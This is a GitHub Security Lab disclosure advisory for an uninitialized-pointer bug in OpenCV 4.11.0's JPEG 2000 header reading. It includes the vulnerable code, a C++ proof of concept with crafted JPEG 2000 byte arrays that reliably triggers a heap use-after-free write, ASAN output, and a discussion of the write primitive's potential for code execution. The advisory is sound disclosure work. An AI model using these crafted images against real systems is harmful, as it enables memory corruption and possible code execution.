Coordinated Disclosure Timeline

Summary

An uninitialized pointer variable on stack may lead to arbitrary heap buffer write when reading crafted JPEG images.

Project

OpenCV

Tested Version

v4.11.0

Details

Use after free buffer write in opj_jp2_read_header because of an uninitialized pointer in cv::detail::Jpeg2KOpjDecoderBase::readHeader (GHSL-2025-057)

The rawImage pointer variable in cv::detail::Jpeg2KOpjDecoderBase::readHeader is not initialized before the opj_read_header call.

opj_image_t* rawImage;
if (!opj_read_header(stream_.get(), codec_.get(), &rawImage))
    return false;

An allocated memory address is meant to be assigned to the pointer in opj_j2k_read_header. If the opj_j2k_read_header fails, the pointer is left intact. However the return value is not checked in opj_jp2_read_header [1] and if *p_image contains a garbage value from stack, this leads to 4 bytes write at offsetof(opj_image_t, color_space) [2]. Also, if the image contains ICC profile, it leads to a valid memory address write at offsetof(opj_image_t, icc_profile_buf) [3] and an attacker controlled arbitrary integer write at offsetof(opj_image_t, icc_profile_len) [4] (The icc_profile_len value is fully controlled by a crafted image as it can be seen in the PoC).

ret = opj_j2k_read_header(p_stream,
                          jp2->j2k,
                          p_image,
                          p_manager);

if (p_image && *p_image) { // <-- 1
    /* Set Image Color Space */
    if (jp2->enumcs == 16) {
        (*p_image)->color_space = OPJ_CLRSPC_SRGB;
    } else if (jp2->enumcs == 17) {
        (*p_image)->color_space = OPJ_CLRSPC_GRAY;
    } else if (jp2->enumcs == 18) {
        (*p_image)->color_space = OPJ_CLRSPC_SYCC;
    } else if (jp2->enumcs == 24) {
        (*p_image)->color_space = OPJ_CLRSPC_EYCC;
    } else if (jp2->enumcs == 12) {
        (*p_image)->color_space = OPJ_CLRSPC_CMYK;
    } else {
        (*p_image)->color_space = OPJ_CLRSPC_UNKNOWN; // <-- 2
    }

    if (jp2->color.icc_profile_buf) {
        (*p_image)->icc_profile_buf = jp2->color.icc_profile_buf; // <-- 3
        (*p_image)->icc_profile_len = jp2->color.icc_profile_len; // <-- 4
        jp2->color.icc_profile_buf = NULL;
    }

Proof of Concept:

#include <opencv2/opencv.hpp>
#include <opencv2/imgcodecs/legacy/constants_c.h>

static void decode(const uint8_t* data, size_t size) {
  std::vector<uint8_t> image_data = {data, data + size};
  cv::Mat data_matrix =
      cv::Mat(1, image_data.size(), CV_8UC1, image_data.data());
  cv::Mat decoded_matrix = cv::imdecode(data_matrix, CV_LOAD_IMAGE_UNCHANGED);
}

int main() {
  const uint8_t data1[] = {0xff,0x4f, // SOC marker
                           0xff,0x51, // SIZ marker
                           0x00,0x29, // Size with marker 41
                                0x01,0x05,// Rsiz (capabilities)
                                0x00,0x00,0x0a,0xa2, // Xsiz
                                0x00,0x01,0xeb,0xb8, // Ysiz
                                0x00,0x00,0x00,0x33, // XOsiz
                                0x00,0x00,0x41,0x80, // YOsiz
                                0x00,0x0b,0x00,0x03, // XTsiz
                                0x2a,0xb9,0xd1,0x4d, // YTsiz
                                0x00,0x00,0x00,0x21, // XTOsiz
                                0x00,0x00,0x0f,0xf5, // YTOsiz
                                0x00,0x01, // Csiz
                                     0x07, // Ssiz_0
                                     0x0a, // XRsiz_0
                                     0x37, // YRsiz_0
                           0xff,0x52, // COD marker
                           0x00,0x0d, // Size with marker 13
                                0x05, // Scod
                                0x00, // SGcod (A)
                                0x00,0x11, // SGcod (B)
                                0x00, // SGcod (C)
                                0x00, // SPcod (D) / SPcoc (A)
                                0x04, // SPcod (E) / SPcoc (B)
                                0x04, // SPcod (F) / SPcoc (C)
                                0x2c, // SPcod (G) / SPcoc (D)
                                0x01, // SPcod (H) / SPcoc (E)
                                0x86, // SPcod (I_i) / SPcoc (F_i)
                           0xff,0x5c, // QCD marker
                           0x00,0x04, // Size with marker 4
                                0x60, // Sqcx
                                0xb7, // SPqcx_0
                           0xff,0x90, // SOT marker
                           0x00,0x0a, // Size with marker 10
                                0x00,0x00, // Isot
                                0x00,0x00,0x00,0x00, // Psot
                                0x00, // TPsot
                                0x76, // TNsot
                           0xff,0x93, // SOD marker
                           0x00,0x00 // last invalid marker
                          };

  const uint8_t data2[] = {0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a, // signature
                           0x00,0x00,0x00,0x14, // box length 20
                           0x66,0x74,0x79,0x70, // box: file type
                           0x6a,0x70,0x30,0x20, // BR
                           0xf9,0xff,0xff,0xff, // MinV
                           0x6a,0x70,0x33,0x20, // CLi
                           0x00,0x00,0x00,0x31, // box length 49
                           0x6a,0x70,0x32,0x68, // box: JP2 Header
                                0x00,0x00,0x00,0x16, // box length 22
                                0x69,0x68,0x64,0x72, // box: Image Header
                                0x00,0x80,0x00,0x00, // Height
                                0x00,0x00,0x05,0x00, // Width
                                0x00,0x03, // NC (number of components)
                                0x07, // BPC
                                0x07, // C
                                0x00, // UnkC
                                0x00, // IPR
                                0x00,0x00,0x00,0x13, // box length 19
                                0x63,0x6f,0x6c,0x72, // box: Color Specification
                                0x02, // Meth
                                0xff, // PRECEDENCE
                                0xff, // APPROX
                                0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08, // icc values
                           };

  decode(data1, sizeof(data1));
  decode(data2, sizeof(data2));
  decode(data2, sizeof(data2));
  decode(data1, sizeof(data1));
  decode(data2, sizeof(data2));
  return 0;
}

When compiled with ASAN the fifth call to decode reliably crashes with:

==18==ERROR: AddressSanitizer: heap-use-after-free on address 0x5040000ccde4 at pc 0x55931bb3b32f bp 0x7ffe57a7cf10 sp 0x7ffe57a7cf08
WRITE of size 4 at 0x5040000ccde4 thread T0
SCARINESS: 46 (4-byte-write-heap-use-after-free)
    #0 0x55931bb3b32e in opj_jp2_read_header /src/opencv/3rdparty/openjpeg/openjp2/jp2.c:2889:37
    #1 0x55931bab6e25 in opj_read_header /src/opencv/3rdparty/openjpeg/openjp2/openjpeg.c:475:16
    #2 0x55931a0fe70a in cv::detail::Jpeg2KOpjDecoderBase::readHeader() /src/opencv/modules/imgcodecs/src/grfmt_jpeg2000_openjpeg.cpp:538:14
    #3 0x55931a0154e7 in cv::imdecode_(cv::Mat const&, int, cv::Mat&) /src/opencv/modules/imgcodecs/src/loadsave.cpp:1195:22
    #4 0x55931a01405e in cv::imdecode(cv::_InputArray const&, int) /src/opencv/modules/imgcodecs/src/loadsave.cpp:1274:10
    #5 0x559319ff928f in decode(unsigned char const*, unsigned long) /src/main.cc:8:28

Impact

The exploitability depends on the usage of the OpenCV library and the uninitialized variable assigned to the pointer depends on the previous usage of the stack by the specific program. Theoretically it may contain an arbitrary memory address. The PoC above demonstrates that fifth call to decode reliably uses an address from a previously deallocated memory. If the memory is allocated again at the address before the call it may lead to a valid memory overwrite. The write memory primitive however has inconvenient side effects: even though the attacker fully controls jp2->color.icc_profile_len value written at offsetof(opj_image_t, icc_profile_len), it also overwrites memory at offsetof(opj_image_t, color_space) with OPJ_CLRSPC_UNKNOWN and a valid memory address at offsetof(opj_image_t, icc_profile_buf). Nevertheless it may lead to arbitrary memory overwrite and code execution.

CWEs

CVE

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2025-057 in any communication regarding this issue.